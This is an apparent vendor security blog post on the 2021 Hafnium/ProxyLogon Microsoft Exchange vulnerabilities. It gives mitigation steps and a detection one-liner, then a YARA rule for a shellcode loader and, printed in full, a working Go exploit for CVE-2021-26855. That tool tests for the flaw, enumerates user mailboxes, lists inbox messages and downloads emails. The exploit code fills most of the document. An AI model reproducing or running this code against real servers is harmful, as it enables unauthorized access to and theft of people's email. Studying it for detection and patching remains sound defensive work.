“Hafnium,” Researcher Publishes Code to Exploit Microsoft Exchange Vulnerabilities on Github

“Hafnium,” Researcher Publishes Code to Exploit Microsoft Exchange Vulnerabilities on Github

Microsoft owns GitHub, the Hafnium Exploit code has been now shutdown on GitHub, but it’s important to understand, the code is now still available on the internet.

While Github has shut it down and will stop rapid improvement of this this PoC exploit via GitHub.

It is still available for anyone with basic internet search skills and obviously for any motivated threat actor, they would be actively exploiting this as soon as the CVE was released.

I was able to find the Exploit code easily.

quick one liner to check for RCE (u might need to change the IIS path on some systems) is: findstr /snip /c:”ResetOABVirtualDirectory” C:\inetpub\logs\LogFiles\*.log

Image
https://twitter.com/c3rb3ru5d3d53c/status/1369754358565507072

Mitigation

On March 02, 2021 Microsoft published a detailed report outlining four previously unknown “Zero Day” vulnerabilities in Microsoft Exchange Server. The attack, launched by Hafnium, targeted these vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) which allowed state sponsored threat actors to exploit Internet facing Exchange servers, gaining access to access to internal systems (Microsoft , 2021). This threat is high and is estimated to affect over 30,000 businesses worldwide. The attack chain is illustrated below:

Hafnium’s exploitation of Microsoft Exchange Vulnerabilities1.png

On March 10, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI), issued a joint advisory addressing the disclosed vulnerabilities in Microsoft Exchange Server (Cybersecurity & Infastructure Security Agency, 2021). CISA and FBI assessed that the threat actors could exploit these vulnerabilities collectively tracked as ProxyLogon, to compromise networks, steal information, encrypt data for ransom, execute destructive attacks, and/or sell access to compromised networks on the Dark Web.The patches for these vulnerabilities were released on March 8th, 2021. All security leaders should immediately address this incident by working with their IT teams to make sure this risk is contained, and the appropriate actions taken. Below are the recommended steps:

  1. Ensure the patches have been applied ASAP to the Exchange Server environment.
    1. If you are unable to apply updates for whatever reason please follow the Microsoft alternative mitigations (Microsoft Security Response Center, 2021) steps in the interim.
  2. Make sure your SEIM threat intelligence engine has been updated with current IOCs and the UEBA algorithms have been updated.
  3. Check for compromised On-Premises Exchange Servers. Microsoft published ‘Check My OWA’ tool to check Exchange Servers with Outlook Web Access (OWA) enabled.
  4. Analyze your Exchange Server logs to identify any potential compromise. Microsoft published an updated PowerShell script named “Test-ProxyLogon.ps1” (available on Microsoft’s official GitHub page) that scans Microsoft Exchange log files for indicators of compromise (IOCs) associated with the exploited vulnerabilities.
  5. Organizations should load Microsoft Support Emergency Response Tool (MSERT) against their Exchange Servers to detect and remove potential web shells.   Microsoft has released a new (March 08, 2021) update to the Microsoft Safety Scanner (MSERT)
  6. If you confirm you have been compromised, please follow the Cybersecurity & Infrastructure Security Agency (Cybersecurity & Infrastructure Security Agency, 2021) Alert (AA21-062A) Below is the MITRE ATT&CK techniques observed for the Microsoft Exchange Server attack.  Hafnium’s exploitation of Microsoft Exchange Vulnerabilities2.png
  7. ArcSight Threat Intelligence engine was updated on March 03, 2021. If you need assistance or want to take advantage of free tools Micro Focus has available please see our MITRE ATT&CK® navigator for Micro Focus Products and click “Exploit Public.” 

Research

Yara

rule malware_goshell_0 {
    meta:
        author      = "c3rb3ru5d3d53c"
        description = "GoShell Shellcode Injector"
        reference   = "https://twitter.com/c3rb3ru5d3d53c/status/1365438427735457799"
        hash        = "a70b749e1d8a236e343ddbdf9d19e7b8"
        type        = "malware.loader/malware.downloader"
        created     = "2021-02-27"
        os          = "windows"
        tlp         = "white"
        rev         = 1
    strings:
        $golang_0 = "vendor/golang" ascii nocase
        $uniq_0   = ".GetShellcode" ascii wide nocase
        $hex_0    = "\\x"           ascii wide nocase
        $hex_1    = "hex.Decode"    ascii wide nocase
        $net_0    = /https?:\/\//   ascii wide nocase
        $net_1    = "GET"           ascii wide
        $net_2    = "net/http"      ascii wide nocase
        $cert_0   = {30 82 ?? ?? 30 82 ?? ??}
    condition:
        uint16(0) == 0x5a4d and
        uint32(uint32(0x3c)) == 0x00004550 and
        filesize > 5MB and not
        $cert_0 and
        #golang_0 > 64 and
        $uniq_0 and
        1 of ($hex_*) and
        1 of ($net_*)
}

SSRF

https://raw.githubusercontent.com/h4x0r-dz/CVE-2021-26855/main/CVE-2021-26855-PoC.go

package main

import (
    "crypto/tls"
    "flag"
    "fmt"
    "time"
    "io"
    "io/ioutil"
    "net/http"
    //"net/url"
    "os"
    "strings"
    "regexp"
    "encoding/base64"
    "bufio"
    "strconv"
)

//Detecting vulnerability existence script 
func Verify(targetUrl string) bool {
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: tr}

    req, _ := http.NewRequest("GET", targetUrl, nil)
    req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
    resp, _ := client.Do(req)
    defer resp.Body.Close()
    body, _ := ioutil.ReadAll(resp.Body)

    if strings.Contains(string(body), "NegotiateSecurityContext") {
        return true
    } else {
        return false
    }
}

func append16(v []byte, val uint16) []byte {
    return append(v, byte(val), byte(val>>8))
}

func append32(v []byte, val uint16) []byte {
    return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24))
}

const (
    negotiateUnicode    = 0x0001 // Text strings are in unicode
    negotiateOEM        = 0x0002 // Text strings are in OEM
    requestTarget       = 0x0004 // Server return its auth realm
    negotiateSign       = 0x0010 // Request signature capability
    negotiateSeal       = 0x0020 // Request confidentiality
    negotiateLMKey      = 0x0080 // Generate session key
    negotiateNTLM       = 0x0200 // NTLM authentication
    negotiateLocalCall  = 0x4000 // client/server on same machine
    negotiateAlwaysSign = 0x8000 // Sign for all security levels
)

//Generate NTLM Type1 
func Negotiate() []byte {
    var ret []byte
    flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM

    ret = append(ret, "NTLMSSP\x00"...) // protocol
    ret = append32(ret, 1)              // type
    ret = append32(ret, uint16(flags))  // flags
    ret = append16(ret, 0)              // NT domain name length
    ret = append16(ret, 0)              // NT domain name max length
    ret = append32(ret, 0)              // NT domain name offset
    ret = append16(ret, 0)              // local workstation name length
    ret = append16(ret, 0)              // local workstation name max length
    ret = append32(ret, 0)              // local workstation name offset
    ret = append16(ret, 0)              // unknown name length
    ret = append16(ret, 0)              // ...
    ret = append16(ret, 0x30)           // unknown offset
    ret = append16(ret, 0)              // unknown name length
    ret = append16(ret, 0)              // ...
    ret = append16(ret, 0x30)           // unknown offset

    return ret
}

//Get effective information FQDN with NTLM TYPE2
func Ntlminfo(targetUrl string) (fqdn string, domain string) {

    //var fqdn string

    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: tr}

    req, _ := http.NewRequest("GET", targetUrl, nil)
    req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate())))
    req.Header.Add("Accept","text/xml")
    resp, _ := client.Do(req)
    
    reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`)
    reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`)
    reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`)
    reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`)
    reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`)
    reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`)

    for _, values := range resp.Header {
        type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";")))
        if type2 != "" {
            decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2))
            fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "")
            domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "")
        }
    }
    return 
}

func Postxml(targetUrl string, fqdn string, xmlcontent string) string {
    
    //urlProxy, _ := url.Parse("http://127.0.0.1:8123")
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        //Proxy: http.ProxyURL(urlProxy),
    }
    client := &http.Client{Transport: tr}

    req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent))
    req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn))
    req.Header.Add("Content-Type", "text/xml")
    //fmt.Println(req)
    resp2, _ := client.Do(req)
    //defer resp2.Body.Close()
    body2, _ := ioutil.ReadAll(resp2.Body)

    return string(body2)
}

func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) {
    fmt.Println(userfile)
    ufile, err := os.Open(userfile)
    if err != nil {
        fmt.Println("File error")
        os.Exit(0)
    }
    defer ufile.Close()

    fmt.Println("Correct email address: \n")

    br := bufio.NewReader(ufile)
    for {
        name, _, c := br.ReadLine()
        if c == io.EOF {
            fmt.Println("\nComplete ")
            break
        }
        if strings.Contains(string(name), "@") {
            str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name)))
            if strings.Contains(str, string(name)) {
                //fmt.Println(fmt.Sprintf("Email address %s is incorrect ", string(name)))
            }else {
                fmt.Println(string(name))
            }
        }else{
            address := fmt.Sprintf("%s@%s", string(name), domainneame)
            str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address))
            if strings.Contains(str, string(name)) {
                //fmt.Println(fmt.Sprintf("Email address %s is incorrect ", address))
            }else {
                fmt.Println(address)
            }
        }
        time.Sleep(time.Duration(stime)*time.Second)
    }
}

func makefile(fileName string, conntent string) {

    f, err := os.Create(fileName)
    defer f.Close()
    if err != nil {
        fmt.Println(err.Error())
    } else {
        _, _ = f.Write([]byte(conntent))
    }
}

func main(){

    var maddress string

    host := flag.String("h", "", "String required, target address or domain name")
    filepath := flag.String("U", "", "String options, users who need enumerations")
    stime := flag.String("t", "1", "String option, request delay time Default 1")
    desfqnd := flag.String("n", "", "String option, you need to specify FQND")
    list := flag.Bool("l", false, "Optional, Listing Mail")
    emailadd := flag.String("u", "administrator", "string option, designated target, Default administrator")
    downl := flag.Bool("d", false, "Optional, download mail")
    flag.Parse()

    targetUrl := fmt.Sprintf("https://%s/owa/auth/x.js", *host)
    ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host)
    postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host)
    sleep_time, _ := strconv.Atoi(*stime)

    if *host == "" {
        fmt.Println("Please enter the target IP address ")
        os.Exit(0)
    }
  
    fmt.Println("Test the existence of the vulnerability ...")
    if Verify(targetUrl) == true {
        fmt.Println("Vulnerability exists ... Continue ")
    }else{
        fmt.Println("Vulnerability does not exist ... END")
        os.Exit(0)
    }

    mailnum := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <m:GetFolder>
            <m:FolderShape>
                <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
                <t:DistinguishedFolderId Id="inbox">
                    <t:Mailbox>
                        <t:EmailAddress>%s</t:EmailAddress>
                    </t:Mailbox>
                </t:DistinguishedFolderId>
            </m:FolderIds>
        </m:GetFolder>
    </soap:Body>
</soap:Envelope>`

    maillist := `<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
 xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
 xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
 xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
 xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
  <soap:Body>
    <m:FindItem Traversal='Shallow'>
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
      </m:ItemShape>
      <m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" />
      <m:ParentFolderIds>
        <t:DistinguishedFolderId Id='inbox'>
          <t:Mailbox>
            <t:EmailAddress>%s</t:EmailAddress>
          </t:Mailbox>
        </t:DistinguishedFolderId>
      </m:ParentFolderIds>
    </m:FindItem>
  </soap:Body>
</soap:Envelope>`

download := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <m:GetItem>
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        <t:BodyType>Text</t:BodyType>
      </m:ItemShape>
      <m:ItemIds>
        <t:ItemId Id="%s" ChangeKey="%s" />
      </m:ItemIds>
    </m:GetItem>
  </soap:Body>
</soap:Envelope>`

    fqndstr, domainstr := Ntlminfo(ewsUrl)

    fmt.Println("Target FQND: ", fqndstr)

    if *filepath != "" {
        Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time)
    }

    if *desfqnd != "" {
        fqndstr = *desfqnd
    }

    if strings.Contains(*emailadd, "@") {
        maddress = *emailadd
    }else{
        maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr)
    }

    str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress))
    //fmt.Println(str)

    if strings.Contains(str, maddress) {
        fmt.Println(fmt.Sprintf("The email address %s is incorrect, please re-enter ", maddress))
    }else if strings.Contains(str, "Success") {
        reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`)
        reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`)
        mnum := reg02.ReplaceAllString(reg01.FindString(str), "")
        fmt.Println("User", maddress, "The number of mail in the inbox in the mailbox is: ", mnum)
        if *list == true {
            if mnum != "0"{
                contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress))

                reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`)
                reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`)
                reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`)
                
                id := reg_id.FindAllStringSubmatch(contents, -1)
                key := reg_key.FindAllStringSubmatch(contents, -1)
                subject := reg_sub.FindAllStringSubmatch(contents, -1)

                for i := 0; i < 5 ; i++{
                    fmt.Println("---------")
                    fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1])
                    fmt.Println()
                }

                if *downl == true {
                    for i := 0; i < 5 ; i++{
                        fmt.Println("Downloading ", i," Email")
                        contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1]))
                        makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd)
                    }
                    fmt.Println("Download completed")
                }

            }else{
                fmt.Println("Target mailbox no email! ")
            }
        }
    }else{
        fmt.Println("Default FQDN invalid, please specify other servers ")
    }
}